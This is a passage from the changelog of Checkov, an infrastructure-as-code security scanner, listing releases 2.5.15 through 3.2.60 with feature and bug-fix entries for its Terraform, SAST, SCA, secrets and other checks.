[#6165](https://github.com/bridgecrewio/checkov/pull/6165) ## [3.2.60](https://github.com/bridgecrewio/checkov/compare/3.2.55...3.2.60) - 2024-04-10 ### Feature - **sast:** Add TS CDK policies 1 - [#6151](https://github.com/bridgecrewio/checkov/pull/6151) - **sast:** CDK TS policies p3 - [#6157](https://github.com/bridgecrewio/checkov/pull/6157) ### Bug Fix - **terraform:** Fix conditional expression evaluation logic with compare - [#6160](https://github.com/bridgecrewio/checkov/pull/6160) - **terraform:** Fixed flaky test for CKV_AWS_356 - [#6162](https://github.com/bridgecrewio/checkov/pull/6162) ## [3.2.55](https://github.com/bridgecrewio/checkov/compare/3.2.53...3.2.55) - 2024-04-08 ### Feature - **sast:** Adding typescript cdk part 6 paz - [#6149](https://github.com/bridgecrewio/checkov/pull/6149) ### Bug Fix - **sca:** enabling suppression in the cli-output for IR-files and dockerfiles - [#6148](https://github.com/bridgecrewio/checkov/pull/6148) ## [3.2.53](https://github.com/bridgecrewio/checkov/compare/3.2.52...3.2.53) - 2024-04-03 ### Feature - **terraform:** support s3 bucket name for references in graph - [#6134](https://github.com/bridgecrewio/checkov/pull/6134) ## [3.2.52](https://github.com/bridgecrewio/checkov/compare/3.2.51...3.2.52) - 2024-04-03 ### Feature - **general:** Update the releases' zip file names to be generic - [#6141](https://github.com/bridgecrewio/checkov/pull/6141) ## [3.2.51](https://github.com/bridgecrewio/checkov/compare/3.2.50...3.2.51) - 2024-04-02 ### Feature - **general:** add policy metadata filter exception flag - [#6132](https://github.com/bridgecrewio/checkov/pull/6132) ## [3.2.50](https://github.com/bridgecrewio/checkov/compare/3.2.49...3.2.50) - 2024-03-31 ### Bug Fix - **general:** remove limitation of resource and provider in tf.json file - [#6133](https://github.com/bridgecrewio/checkov/pull/6133) ## [3.2.49](https://github.com/bridgecrewio/checkov/compare/3.2.47...3.2.49) - 2024-03-28 ### Bug Fix - **general:** pin the version of schema to <=0.7.5 - [#6125](https://github.com/bridgecrewio/checkov/pull/6125) ## [3.2.47](https://github.com/bridgecrewio/checkov/compare/3.2.45...3.2.47) - 2024-03-26 ### Feature - **secrets:** bump manually bc-detect-secrets - [#6120](https://github.com/bridgecrewio/checkov/pull/6120) - **terraform:** add fix for when tf_def is a string - [#6121](https://github.com/bridgecrewio/checkov/pull/6121) ## [3.2.45](https://github.com/bridgecrewio/checkov/compare/3.2.44...3.2.45) - 2024-03-25 ### Feature - **terraform:** fix for_each resource handling - [#6119](https://github.com/bridgecrewio/checkov/pull/6119) ## [3.2.44](https://github.com/bridgecrewio/checkov/compare/3.2.43...3.2.44) - 2024-03-24 ### Bug Fix - **sca:** Fix suppression integration crashing if licenseTypes is missing - [#6117](https://github.com/bridgecrewio/checkov/pull/6117) ## [3.2.43](https://github.com/bridgecrewio/checkov/compare/3.2.42...3.2.43) - 2024-03-21 ### Bug Fix - **terraform:** Fixed bug in evaluate_conditional_expression and added zipmap support - [#6106](https://github.com/bridgecrewio/checkov/pull/6106) ## [3.2.42](https://github.com/bridgecrewio/checkov/compare/3.2.39...3.2.42) - 2024-03-20 ### Feature - **sast:** support sast skipped checks - [#6095](https://github.com/bridgecrewio/checkov/pull/6095) ### Bug Fix - **secrets:** ignore secret check in test file - [#6105](https://github.com/bridgecrewio/checkov/pull/6105) ### Platform - **general:** handle API errors with more detail - [#6107](https://github.com/bridgecrewio/checkov/pull/6107) ## [3.2.39](https://github.com/bridgecrewio/checkov/compare/3.2.38...3.2.39) - 2024-03-17 ### Feature - **secrets:** fix entropy detector FP - [#6090](https://github.com/bridgecrewio/checkov/pull/6090) ## [3.2.38](https://github.com/bridgecrewio/checkov/compare/3.2.37...3.2.38) - 2024-03-14 ### Bug Fix - **terraform:** prevent side effects when updating variable rendering - [#6087](https://github.com/bridgecrewio/checkov/pull/6087) ## [3.2.37](https://github.com/bridgecrewio/checkov/compare/3.2.36...3.2.37) - 2024-03-13 ### Feature - **terraform:** connect module resource to provider - [#6083](https://github.com/bridgecrewio/checkov/pull/6083) ## [3.2.36](https://github.com/bridgecrewio/checkov/compare/3.2.35...3.2.36) - 2024-03-12 ### Bug Fix - **gha:** make sure to have prisma url - [#6084](https://github.com/bridgecrewio/checkov/pull/6084) ## [3.2.35](https://github.com/bridgecrewio/checkov/compare/3.2.34...3.2.35) - 2024-03-11 ### Feature - **general:** add policy name and guidelines to CSV output - [#6082](https://github.com/bridgecrewio/checkov/pull/6082) ### Bug Fix - **sast:** add attribute verification - [#6078](https://github.com/bridgecrewio/checkov/pull/6078) ## [3.2.34](https://github.com/bridgecrewio/checkov/compare/3.2.33...3.2.34) - 2024-03-10 ### Bug Fix - **terraform:** Dont duplicate more vertices than needed for nested modules with large count/for each values + used cache to avoid extensive usage of os.path.realpath to drastically improve performance - [#6072](https://github.com/bridgecrewio/checkov/pull/6072) ## [3.2.33](https://github.com/bridgecrewio/checkov/compare/3.2.32...3.2.33) - 2024-03-08 ### Platform - **general:** improve upload failure logging and log size of failed files - [#6076](https://github.com/bridgecrewio/checkov/pull/6076) ## [3.2.32](https://github.com/bridgecrewio/checkov/compare/3.2.31...3.2.32) - 2024-03-06 ### Bug Fix - **sast:** do not log warning when using skip framework - [#6066](https://github.com/bridgecrewio/checkov/pull/6066) ## [3.2.31](https://github.com/bridgecrewio/checkov/compare/3.2.28...3.2.31) - 2024-03-04 ### Bug Fix - **terraform:** better handling of interpolation rendering in conditional expressions - [#6062](https://github.com/bridgecrewio/checkov/pull/6062) - **terraform:** Changed a couple of checks from negative to positive check, behavior is the same - [#6063](https://github.com/bridgecrewio/checkov/pull/6063) ## [3.2.28](https://github.com/bridgecrewio/checkov/compare/3.2.26...3.2.28) - 2024-02-28 ### Bug Fix - **sca:** handling unknown severity - [#6055](https://github.com/bridgecrewio/checkov/pull/6055) - **terraform:** Add Condition exceptions CKV_AWS_70 - [#6044](https://github.com/bridgecrewio/checkov/pull/6044) - **terraform:** Add k8s 1.29 to CKV_AWS_339 - [#6056](https://github.com/bridgecrewio/checkov/pull/6056) ## [3.2.26](https://github.com/bridgecrewio/checkov/compare/3.2.25...3.2.26) - 2024-02-26 ### Bug Fix - **sast:** fetch sast custom policieis - [#6040](https://github.com/bridgecrewio/checkov/pull/6040) ## [3.2.25](https://github.com/bridgecrewio/checkov/compare/3.2.24...3.2.25) - 2024-02-25 ### Feature - **terraform:** Added support for `try` function in evaluate_terraform - [#6043](https://github.com/bridgecrewio/checkov/pull/6043) ## [3.2.24](https://github.com/bridgecrewio/checkov/compare/3.2.23...3.2.24) - 2024-02-22 ### Feature - **cloudformation:** add CFN policies for MSK - [#6021](https://github.com/bridgecrewio/checkov/pull/6021) ## [3.2.23](https://github.com/bridgecrewio/checkov/compare/3.2.22...3.2.23) - 2024-02-21 ### Bug Fix - **terraform:** support vertex reference based on foreach key - [#6039](https://github.com/bridgecrewio/checkov/pull/6039) ## [3.2.22](https://github.com/bridgecrewio/checkov/compare/3.2.21...3.2.22) - 2024-02-18 ### Bug Fix - **terraform:** CKV_AWS_308 - checked if caching was enabled and only then check for encryption of cache - [#6034](https://github.com/bridgecrewio/checkov/pull/6034) ## [3.2.21](https://github.com/bridgecrewio/checkov/compare/3.2.20...3.2.21) - 2024-02-14 ### Bug Fix - **sast:** fix cdk checks path - [#6029](https://github.com/bridgecrewio/checkov/pull/6029) ## [3.2.20](https://github.com/bridgecrewio/checkov/compare/3.2.19...3.2.20) - 2024-02-11 ### Bug Fix - **graph:** remove SCA runner v1 - re-enable - [#6024](https://github.com/bridgecrewio/checkov/pull/6024) ## [3.2.19](https://github.com/bridgecrewio/checkov/compare/3.2.17...3.2.19) - 2024-02-08 ### Feature - **general:** Implement authentication retry mechanism - [#6022](https://github.com/bridgecrewio/checkov/pull/6022) - **sast:** add danger rule - [#6012](https://github.com/bridgecrewio/checkov/pull/6012) ## [3.2.17](https://github.com/bridgecrewio/checkov/compare/3.2.12...3.2.17) - 2024-02-07 ### Bug Fix - **general:** downgrade botocore dependency - [#6016](https://github.com/bridgecrewio/checkov/pull/6016) - **graph:** remove SCA runner v1 - [#6005](https://github.com/bridgecrewio/checkov/pull/6005) - **terraform:** Deleted deprecated check CKV_GCP_19 - [#6010](https://github.com/bridgecrewio/checkov/pull/6010) ## [3.2.12](https://github.com/bridgecrewio/checkov/compare/3.2.8...3.2.12) - 2024-02-06 ### Bug Fix - **general:** downgrade boto3 - [#6011](https://github.com/bridgecrewio/checkov/pull/6011) - **terraform:** fix check CKV2_AZURE_10 - [#6009](https://github.com/bridgecrewio/checkov/pull/6009) ## [3.2.8](https://github.com/bridgecrewio/checkov/compare/3.2.7...3.2.8) - 2024-02-05 ### Feature - **secrets:** bump bc-detect-secrets to version 1.5.4 - [#5998](https://github.com/bridgecrewio/checkov/pull/5998) ## [3.2.7](https://github.com/bridgecrewio/checkov/compare/3.2.3...3.2.7) - 2024-02-04 ### Feature - **azure:** create arm check StorageAccountMinimumTlsVersion CKV_AZURE_236 - [#5986](https://github.com/bridgecrewio/checkov/pull/5986) - **sast:** add dataflow to output - [#5987](https://github.com/bridgecrewio/checkov/pull/5987) ### Bug Fix - **terraform:** Correctly relace foreach_value inside _update_attributes for complex cases - [#5994](https://github.com/bridgecrewio/checkov/pull/5994) ## [3.2.3](https://github.com/bridgecrewio/checkov/compare/3.2.2...3.2.3) - 2024-01-31 ### Bug Fix - **terraform:** find explicit lockout fail actions for s3 - [#5943](https://github.com/bridgecrewio/checkov/pull/5943) ## [3.2.2](https://github.com/bridgecrewio/checkov/compare/3.2.1...3.2.2) - 2024-01-30 ### Feature - **sca:** persist support logs for sub processes - [#5988](https://github.com/bridgecrewio/checkov/pull/5988) ## [3.2.1](https://github.com/bridgecrewio/checkov/compare/3.2.0...3.2.1) - 2024-01-29 ### Bug Fix - **sast:** summarize errors - [#5977](https://github.com/bridgecrewio/checkov/pull/5977) ## [3.2.0](https://github.com/bridgecrewio/checkov/compare/3.1.70...3.2.0) - 2024-01-28 ### Bug Fix - **terraform:** and cdk/cloudformation: inconsistent naming of AWS resources in checks - [#5966](https://github.com/bridgecrewio/checkov/pull/5966) ### Platform - **general:** remove igraph - [#5781](https://github.com/bridgecrewio/checkov/pull/5781) ## [3.1.70](https://github.com/bridgecrewio/checkov/compare/3.1.69...3.1.70) - 2024-01-24 ### Bug Fix - **terraform:** Manually fixed test for loading terraform registry to be with commit hash instead of version tag - [#5971](https://github.com/bridgecrewio/checkov/pull/5971) ## [3.1.69](https://github.com/bridgecrewio/checkov/compare/3.1.67...3.1.69) - 2024-01-22 ### Bug Fix - **sast:** replaced TBD with owasp and removed "sast engine" - [#5959](https://github.com/bridgecrewio/checkov/pull/5959) - **terraform:** External module test - [#5963](https://github.com/bridgecrewio/checkov/pull/5963) ## [3.1.67](https://github.com/bridgecrewio/checkov/compare/3.1.66...3.1.67) - 2024-01-18 ### Feature - **sast:** Add policies to executable - [#5955](https://github.com/bridgecrewio/checkov/pull/5955) ## [3.1.66](https://github.com/bridgecrewio/checkov/compare/3.1.63...3.1.66) - 2024-01-17 ### Bug Fix - **sast:** change the path for taint mode match - [#5953](https://github.com/bridgecrewio/checkov/pull/5953) - **sast:** fix report with only reachability - [#5951](https://github.com/bridgecrewio/checkov/pull/5951) ### Platform - **general:** Change SAST enforcement rule to weaknesses - [#5950](https://github.com/bridgecrewio/checkov/pull/5950) - **general:** handle weaknesses rename - [#5954](https://github.com/bridgecrewio/checkov/pull/5954) ## [3.1.63](https://github.com/bridgecrewio/checkov/compare/3.1.61...3.1.63) - 2024-01-16 ### Bug Fix - **sast:** Fix serialize for sast report with taint mode - [#5949](https://github.com/bridgecrewio/checkov/pull/5949) ## [3.1.61](https://github.com/bridgecrewio/checkov/compare/3.1.60...3.1.61) - 2024-01-15 ### Bug Fix - **general:** allow colorama version >=0.4.3,<0.5.0 in setup - [#5944](https://github.com/bridgecrewio/checkov/pull/5944) ## [3.1.60](https://github.com/bridgecrewio/checkov/compare/3.1.57...3.1.60) - 2024-01-14 ### Bug Fix - **sast:** fix relative paths in sast cdk reports - [#5932](https://github.com/bridgecrewio/checkov/pull/5932) - **sast:** fix sast cdk code location paths - [#5938](https://github.com/bridgecrewio/checkov/pull/5938) - **terraform:** CKV_GCP_79 Upgrade CloudSQL SQLSERVER major version to 2022 - [#5936](https://github.com/bridgecrewio/checkov/pull/5936) - **terraform:** Improved bad performance pathlib check - [#5939](https://github.com/bridgecrewio/checkov/pull/5939) ## [3.1.57](https://github.com/bridgecrewio/checkov/compare/3.1.55...3.1.57) - 2024-01-10 ### Bug Fix - **general:** fix multiprocess abilities - [#5887](https://github.com/bridgecrewio/checkov/pull/5887) - **general:** fixing hidden dependencies & state breaking tests - [#5911](https://github.com/bridgecrewio/checkov/pull/5911) - **general:** Reenabling cdk-integration-tests - [#5922](https://github.com/bridgecrewio/checkov/pull/5922) ## [3.1.55](https://github.com/bridgecrewio/checkov/compare/3.1.54...3.1.55) - 2024-01-08 ### Bug Fix - **terraform:** Support "pass_prefix_list" for SG ingress rules correctly - [#5918](https://github.com/bridgecrewio/checkov/pull/5918) ## [3.1.54](https://github.com/bridgecrewio/checkov/compare/3.1.53...3.1.54) - 2024-01-05 ### Bug Fix - **general:** temporary disable runtime config - [#5921](https://github.com/bridgecrewio/checkov/pull/5921) ## [3.1.53](https://github.com/bridgecrewio/checkov/compare/3.1.51...3.1.53) - 2024-01-04 ### Feature - **terraform:** node pools should be configured separately from a cl… - [#5916](https://github.com/bridgecrewio/checkov/pull/5916) ### Bug Fix - **terraform:** handle no action in aws_dlm_lifecycle_policy - [#5905](https://github.com/bridgecrewio/checkov/pull/5905) ## [3.1.51](https://github.com/bridgecrewio/checkov/compare/3.1.50...3.1.51) - 2024-01-03 - no noteworthy changes ## [3.1.50](https://github.com/bridgecrewio/checkov/compare/3.1.46...3.1.50) - 2023-12-31 ### Feature - **sast:** Add sast metadata to sast report - [#5910](https://github.com/bridgecrewio/checkov/pull/5910) - **terraform:** Add various vertex related policies - [#5898](https://github.com/bridgecrewio/checkov/pull/5898) ### Bug Fix - **sast:** persist empty sast report for cdk - [#5909](https://github.com/bridgecrewio/checkov/pull/5909) - **terraform:** Fix typo Customer Managed Key - [#5900](https://github.com/bridgecrewio/checkov/pull/5900) ## [3.1.46](https://github.com/bridgecrewio/checkov/compare/3.1.44...3.1.46) - 2023-12-28 ### Feature - **terraform:** CLI output - add indication if repository was discovered In a running environment - [#5908](https://github.com/bridgecrewio/checkov/pull/5908) ### Bug Fix - **sast:** add missing field in MatchMetadata - [#5907](https://github.com/bridgecrewio/checkov/pull/5907) ## [3.1.44](https://github.com/bridgecrewio/checkov/compare/3.1.43...3.1.44) - 2023-12-26 ### Feature - **sast:** add dataflow to checkov report from sast - [#5892](https://github.com/bridgecrewio/checkov/pull/5892) ## [3.1.43](https://github.com/bridgecrewio/checkov/compare/3.1.42...3.1.43) - 2023-12-24 ### Feature - **terraform:** add CKV2_AZURE_47, ensure storage account is configured without blob anonymous access - [#5888](https://github.com/bridgecrewio/checkov/pull/5888) - **terraform:** Ensure SES Configuration Set enforces TLS usage - [#5891](https://github.com/bridgecrewio/checkov/pull/5891) ### Bug Fix - **terraform:** pod security policy removed in GKE 1.25 - [#5675](https://github.com/bridgecrewio/checkov/pull/5675) ## [3.1.42](https://github.com/bridgecrewio/checkov/compare/3.1.40...3.1.42) - 2023-12-22 ### Feature - **sast:** Split sast and cdk reports - [#5889](https://github.com/bridgecrewio/checkov/pull/5889) ### Bug Fix - **terraform:** Fix CKV_Azure_234 - [#5886](https://github.com/bridgecrewio/checkov/pull/5886) ## [3.1.40](https://github.com/bridgecrewio/checkov/compare/3.1.38...3.1.40) - 2023-12-19 ### Feature - **terraform_plan:** Add PY graph checks for tf plan - [#5875](https://github.com/bridgecrewio/checkov/pull/5875) ### Bug Fix - **terraform:** Remove CKV_AWS_188 as dupe - [#5884](https://github.com/bridgecrewio/checkov/pull/5884) ## [3.1.38](https://github.com/bridgecrewio/checkov/compare/3.1.34...3.1.38) - 2023-12-13 ### Feature - **sast:** add integration test platform report - [#5856](https://github.com/bridgecrewio/checkov/pull/5856) - **sast:** python Cdk policies batch 3 - [#5820](https://github.com/bridgecrewio/checkov/pull/5820) - **sast:** python Cdk policies batch 4 - [#5857](https://github.com/bridgecrewio/checkov/pull/5857) ### Bug Fix - **sast:** add save local sast report to run integration script - [#5863](https://github.com/bridgecrewio/checkov/pull/5863) ## [3.1.34](https://github.com/bridgecrewio/checkov/compare/3.1.33...3.1.34) - 2023-12-12 ### Feature - **terraform:** Used parallel run to run all split_graph iterations - [#5840](https://github.com/bridgecrewio/checkov/pull/5840) ## [3.1.33](https://github.com/bridgecrewio/checkov/compare/3.1.29...3.1.33) - 2023-12-11 ### Feature - **general:** anchor cyclonedx to last non breaking version - [#5846](https://github.com/bridgecrewio/checkov/pull/5846) - **general:** Revert pipfile lock changes - [#5848](https://github.com/bridgecrewio/checkov/pull/5848) - **sast:** add back commented checks - [#5851](https://github.com/bridgecrewio/checkov/pull/5851) ### Bug Fix - **sast:** fix reachability with no regular matches - [#5847](https://github.com/bridgecrewio/checkov/pull/5847) - **sca:** not printing reachability data for lines without cves - [#5849](https://github.com/bridgecrewio/checkov/pull/5849) ## [3.1.29](https://github.com/bridgecrewio/checkov/compare/3.1.27...3.1.29) - 2023-12-10 ### Feature - **terraform:** fix for check VPCPeeringRouteTableOverlyPermissive and add tests - [#5837](https://github.com/bridgecrewio/checkov/pull/5837) ### Bug Fix - **sast:** fix sast report format - [#5811](https://github.com/bridgecrewio/checkov/pull/5811) ## [3.1.27](https://github.com/bridgecrewio/checkov/compare/3.1.26...3.1.27) - 2023-12-07 ### Feature - **secrets:** used 10 characters in secret violation - [#5835](https://github.com/bridgecrewio/checkov/pull/5835) ## [3.1.26](https://github.com/bridgecrewio/checkov/compare/3.1.24...3.1.26) - 2023-12-06 ### Bug Fix - **general:** check both path types for suppression - [#5834](https://github.com/bridgecrewio/checkov/pull/5834) - **terraform:** Fix range issue in OCI RDP check - [#5832](https://github.com/bridgecrewio/checkov/pull/5832) ## [3.1.24](https://github.com/bridgecrewio/checkov/compare/3.1.21...3.1.24) - 2023-12-05 ### Bug Fix - **sca:** Update the log level of specific logs - [#5828](https://github.com/bridgecrewio/checkov/pull/5828) - **terraform:** CKV_GCP_26 Added additional google_compute_subnetwork purposes that do not support flow logs - [#5812](https://github.com/bridgecrewio/checkov/pull/5812) - **terraform:** Fix CKV_GCP_30 for unknown service account - [#5818](https://github.com/bridgecrewio/checkov/pull/5818) - **terraform:** Fixed to_dict of terraform block regarding source_module_object - [#5822](https://github.com/bridgecrewio/checkov/pull/5822) ## [3.1.21](https://github.com/bridgecrewio/checkov/compare/3.1.20...3.1.21) - 2023-12-04 ### Feature - **ansible:** add CKV_PAN_17 - Check for src and dst zone any - [#5803](https://github.com/bridgecrewio/checkov/pull/5803) - **sast:** sast enabled from integration - [#5780](https://github.com/bridgecrewio/checkov/pull/5780) - **terraform:** Adding Python based build time policies for corresponding PC runtime policies - [#5762](https://github.com/bridgecrewio/checkov/pull/5762) - **terraform:** Adding YAML based build time policies for corresponding PC runtime policies - [#5810](https://github.com/bridgecrewio/checkov/pull/5810) ## [3.1.20](https://github.com/bridgecrewio/checkov/compare/3.1.19...3.1.20) - 2023-11-30 ### Platform - **general:** handle the updated on prem response from the platform - [#5809](https://github.com/bridgecrewio/checkov/pull/5809) ## [3.1.19](https://github.com/bridgecrewio/checkov/compare/3.1.18...3.1.19) - 2023-11-29 ### Feature - **sca:** Using alias data from assets.json for giving Package Used indication for aliased packages - [#5808](https://github.com/bridgecrewio/checkov/pull/5808) ## [3.1.18](https://github.com/bridgecrewio/checkov/compare/3.1.17...3.1.18) - 2023-11-28 ### Bug Fix - **terraform:** Add source_module_object to blocks from_dict func - [#5806](https://github.com/bridgecrewio/checkov/pull/5806) ## [3.1.17](https://github.com/bridgecrewio/checkov/compare/3.1.15...3.1.17) - 2023-11-27 ### Feature - **ansible:** PAN-OS IPsec checks - [#5802](https://github.com/bridgecrewio/checkov/pull/5802) ## [3.1.15](https://github.com/bridgecrewio/checkov/compare/3.1.11...3.1.15) - 2023-11-26 ### Feature - **ansible:** add CKV_PAN_16 PAN-OS BPA Check for session log at start - [#5794](https://github.com/bridgecrewio/checkov/pull/5794) - **sast:** Add alias data to imports assets - [#5788](https://github.com/bridgecrewio/checkov/pull/5788) ### Bug Fix - **bicep:** Update AppServiceHttps20Enabled to consider newer ApiVersion - [#5795](https://github.com/bridgecrewio/checkov/pull/5795) ## [3.1.11](https://github.com/bridgecrewio/checkov/compare/3.1.9...3.1.11) - 2023-11-23 ### Bug Fix - **general:** Policy metadata API fixes - [#5761](https://github.com/bridgecrewio/checkov/pull/5761) ## [3.1.9](https://github.com/bridgecrewio/checkov/compare/3.1.4...3.1.9) - 2023-11-21 ### Bug Fix - **gha:** Update GitHub Actions Workflow Schema #5742 - [#5759](https://github.com/bridgecrewio/checkov/pull/5759) - **terraform_plan:** load terraform registry checks when using terraform plan - [#5778](https://github.com/bridgecrewio/checkov/pull/5778) - **terraform:** Ensure HTTPS in Azure Function App and App Slots - [#5766](https://github.com/bridgecrewio/checkov/pull/5766) ### Platform - **general:** do not display an auth error when the runconfig endpoint returns a 500 - [#5779](https://github.com/bridgecrewio/checkov/pull/5779) ## [3.1.4](https://github.com/bridgecrewio/checkov/compare/3.0.40...3.1.4) - 2023-11-20 ### Breaking Change - **general:** set default parallelization type to spawn and leverage Terraform downloaded module by default - [#5760](https://github.com/bridgecrewio/checkov/pull/5760) ### Feature - **terraform:** Ensure ACR is zone-redundant - [#5748](https://github.com/bridgecrewio/checkov/pull/5748) ### Bug Fix - **general:** Revert parallelization commit - [#5777](https://github.com/bridgecrewio/checkov/pull/5777) - **sast:** remove SAST frameworks for OSS users - [#5773](https://github.com/bridgecrewio/checkov/pull/5773) - **secrets:** don't reinitialize the upload client without API key usage - [#5771](https://github.com/bridgecrewio/checkov/pull/5771) ### Documentation - **general:** properly escape CLI flags in the CLI command docs - [#5768](https://github.com/bridgecrewio/checkov/pull/5768) ## [3.0.40](https://github.com/bridgecrewio/checkov/compare/3.0.38...3.0.40) - 2023-11-19 ### Bug Fix - **terraform_plan:** TF plan resources connection fix - [#5767](https://github.com/bridgecrewio/checkov/pull/5767) ## [3.0.38](https://github.com/bridgecrewio/checkov/compare/3.0.37...3.0.38) - 2023-11-16 ### Feature - **terraform:** Adding YAML based build time policies for corresponding PC runtime policies - [#5714](https://github.com/bridgecrewio/checkov/pull/5714) ## [3.0.37](https://github.com/bridgecrewio/checkov/compare/3.0.36...3.0.37) - 2023-11-15 ### Bug Fix - **terraform:** fix valid value for aws keyspaces_table encryption_specification type - [#5756](https://github.com/bridgecrewio/checkov/pull/5756) ## [3.0.36](https://github.com/bridgecrewio/checkov/compare/3.0.34...3.0.36) - 2023-11-14 ### Bug Fix - **terraform:** check min TLS version also on azure app slots - [#5753](https://github.com/bridgecrewio/checkov/pull/5753) ## [3.0.34](https://github.com/bridgecrewio/checkov/compare/3.0.32...3.0.34) - 2023-11-12 ### Feature - **general:** add possibility to change parallelization type - [#5737](https://github.com/bridgecrewio/checkov/pull/5737) ### Bug Fix - **cloudformation:** ignore unresolved references in CKV_AWS_45 - [#5747](https://github.com/bridgecrewio/checkov/pull/5747) ## [3.0.32](https://github.com/bridgecrewio/checkov/compare/3.0.28...3.0.32) - 2023-11-09 ### Feature - **sast:** Python cdk policies batch 2 - [#5725](https://github.com/bridgecrewio/checkov/pull/5725) ### Bug Fix - **general:** add option to pass `--skip-download` with github-action - [#5734](https://github.com/bridgecrewio/checkov/pull/5734) ### Platform - **general:** print the log upload location if the --support flag is used - [#5738](https://github.com/bridgecrewio/checkov/pull/5738) ## [3.0.28](https://github.com/bridgecrewio/checkov/compare/3.0.25...3.0.28) - 2023-11-08 ### Bug Fix - **terraform:** Adding both azurerm_linux_web_app_slot & azurerm_windows_web_app_slot in scope of the test CKV_AZURE_153 - [#5687](https://github.com/bridgecrewio/checkov/pull/5687) ### Documentation - **general:** Switch references to Bridgecrew with Prisma Cloud - [#5704](https://github.com/bridgecrewio/checkov/pull/5704) ## [3.0.25](https://github.com/bridgecrewio/checkov/compare/3.0.24...3.0.25) - 2023-11-07 ### Bug Fix - **general:** do not require a repo ID when using an API key and --list - [#5726](https://github.com/bridgecrewio/checkov/pull/5726) ## [3.0.24](https://github.com/bridgecrewio/checkov/compare/3.0.21...3.0.24) - 2023-11-06 ### Feature - **sast:** add new python CDK policies - [#5706](https://github.com/bridgecrewio/checkov/pull/5706) - **terraform:** Ensure that only critical system pods run on system nodes - [#5665](https://github.com/bridgecrewio/checkov/pull/5665) ## [3.0.21](https://github.com/bridgecrewio/checkov/compare/3.0.19...3.0.21) - 2023-11-05 ### Feature - **terraform:** Ensure App Service Environment is zone redundant - [#5662](https://github.com/bridgecrewio/checkov/pull/5662) - **terraform:** Ensure that Standard Replication is enabled - [#5649](https://github.com/bridgecrewio/checkov/pull/5649) ### Bug Fix - **sca:** Setting only relevant cves for the extracted reachable functions with risk factor of ReachableFunction as True - [#5715](https://github.com/bridgecrewio/checkov/pull/5715) - **terraform:** CKV_AWS_208 valid Amazon MQ versions - [#5653](https://github.com/bridgecrewio/checkov/pull/5653) ## [3.0.19](https://github.com/bridgecrewio/checkov/compare/3.0.16...3.0.19) - 2023-11-02 ### Feature - **sca:** adjusting the cli-output to support indicating of reachable functions - [#5713](https://github.com/bridgecrewio/checkov/pull/5713) - **terraform:** Adding YAML based build time policies for corresponding PC runtime policies - [#5637](https://github.com/bridgecrewio/checkov/pull/5637) - **terraform:** bigtable deletion protection [depends on #5625] - [#5626](https://github.com/bridgecrewio/checkov/pull/5626) - **terraform:** drop and deletion checks for spanner - [#5625](https://github.com/bridgecrewio/checkov/pull/5625) ### Bug Fix - **sast:** add cveid to reachability report - [#5708](https://github.com/bridgecrewio/checkov/pull/5708) ## [3.0.16](https://github.com/bridgecrewio/checkov/compare/3.0.15...3.0.16) - 2023-11-01 ### Feature - **sca:** Extending reachability post-runner in checkov and enriching cves with ReachableFunction data - [#5707](https://github.com/bridgecrewio/checkov/pull/5707) ## [3.0.15](https://github.com/bridgecrewio/checkov/compare/3.0.14...3.0.15) - 2023-10-31 ### Bug Fix - **general:** fix duplicate components in CycloneDX report - [#5705](https://github.com/bridgecrewio/checkov/pull/5705) ## [3.0.14](https://github.com/bridgecrewio/checkov/compare/3.0.13...3.0.14) - 2023-10-30 ### Bug Fix - **general:** address python 3.12 SyntaxWarning - [#5699](https://github.com/bridgecrewio/checkov/pull/5699) - **terraform:** fix variable rendering for foreach resources with dot included names - [#5701](https://github.com/bridgecrewio/checkov/pull/5701) ## [3.0.13](https://github.com/bridgecrewio/checkov/compare/3.0.12...3.0.13) - 2023-10-29 ### Bug Fix - **sast:** comment out SAST JS integration test - [#5697](https://github.com/bridgecrewio/checkov/pull/5697) ## [3.0.12](https://github.com/bridgecrewio/checkov/compare/3.0.7...3.0.12) - 2023-10-26 ### Bug Fix - **general:** Fix sast & cdk integration tests - [#5688](https://github.com/bridgecrewio/checkov/pull/5688) - **sast:** Adding exit code in sast integration test - [#5690](https://github.com/bridgecrewio/checkov/pull/5690) - **sast:** adjust SAST file pattern search - [#5694](https://github.com/bridgecrewio/checkov/pull/5694) - **sast:** fix sast reachability report format - [#5686](https://github.com/bridgecrewio/checkov/pull/5686) - **terraform:** Fixing the typo within the name of the Terraform check CKV_AZURE_158 - [#5696](https://github.com/bridgecrewio/checkov/pull/5696) ### Platform - **general:** Do not crash the run if S3 integration fails during setup, upload, or finalize - [#5691](https://github.com/bridgecrewio/checkov/pull/5691) ## [3.0.7](https://github.com/bridgecrewio/checkov/compare/3.0.4...3.0.7) - 2023-10-25 ### Bug Fix - **secrets:** fix secret FP of client_secret_setting_name - [#5679](https://github.com/bridgecrewio/checkov/pull/5679) ### Platform - **general:** Add SAST enforcement rules and check severity thresholds - [#5684](https://github.com/bridgecrewio/checkov/pull/5684) - **general:** do not get fixes for on prem integrations - [#5668](https://github.com/bridgecrewio/checkov/pull/5668) ## [3.0.4](https://github.com/bridgecrewio/checkov/compare/2.5.18...3.0.4) - 2023-10-24 ### Breaking Change - **general:** remove level up flow - [#5677](https://github.com/bridgecrewio/checkov/pull/5677) - **general:** remove multi_signature and adjust base check classes - [#5645](https://github.com/bridgecrewio/checkov/pull/5645) - **general:** v3 release - [#5681](https://github.com/bridgecrewio/checkov/pull/5681) ### Bug Fix - **sast:** fix error logs coming from SAST - [#5685](https://github.com/bridgecrewio/checkov/pull/5685) ### Documentation - **general:** add BC token deprecation notice and v3 migration guide - [#5644](https://github.com/bridgecrewio/checkov/pull/5644) ## [2.5.18](https://github.com/bridgecrewio/checkov/compare/2.5.15...2.5.18) - 2023-10-22 ### Feature - **general:** Adds GHA support for skip-frameworks, skip-cve-package & output-bc-ids flags - [#5619](https://github.com/bridgecrewio/checkov/pull/5619) - **terraform:** Ensure that the SQL database is zone-redundant - [#5540](https://github.com/bridgecrewio/checkov/pull/5540) - **terraform:** Ensure the Azure Event Hub Namespace is zone redundant - [#5538](https://github.com/bridgecrewio/checkov/pull/5538) ### Bug Fix - **bicep:** enforce encryption flag to be string for CKV_AZURE_97 - [#5669](https://github.com/bridgecrewio/checkov/pull/5669) - **terraform_plan:** Add provisioners to TF Plan parser - [#5622](https://github.com/bridgecrewio/checkov/pull/5622) ## [2.5.15](https://github.com/bridgecrewio/checkov/compare/2.5.13...2.5.15) - 2023-10-19 ### Feature - **terraform:** Support for merge func inside jsondecode - [#5656](https://github.com/bridgecrewio/checkov/pull/5656) ### Bug Fix - **sca:** make the abs path to be correcnt - [#5660](https://github.com/bridgecrewio/checkov/pull/5660) ## 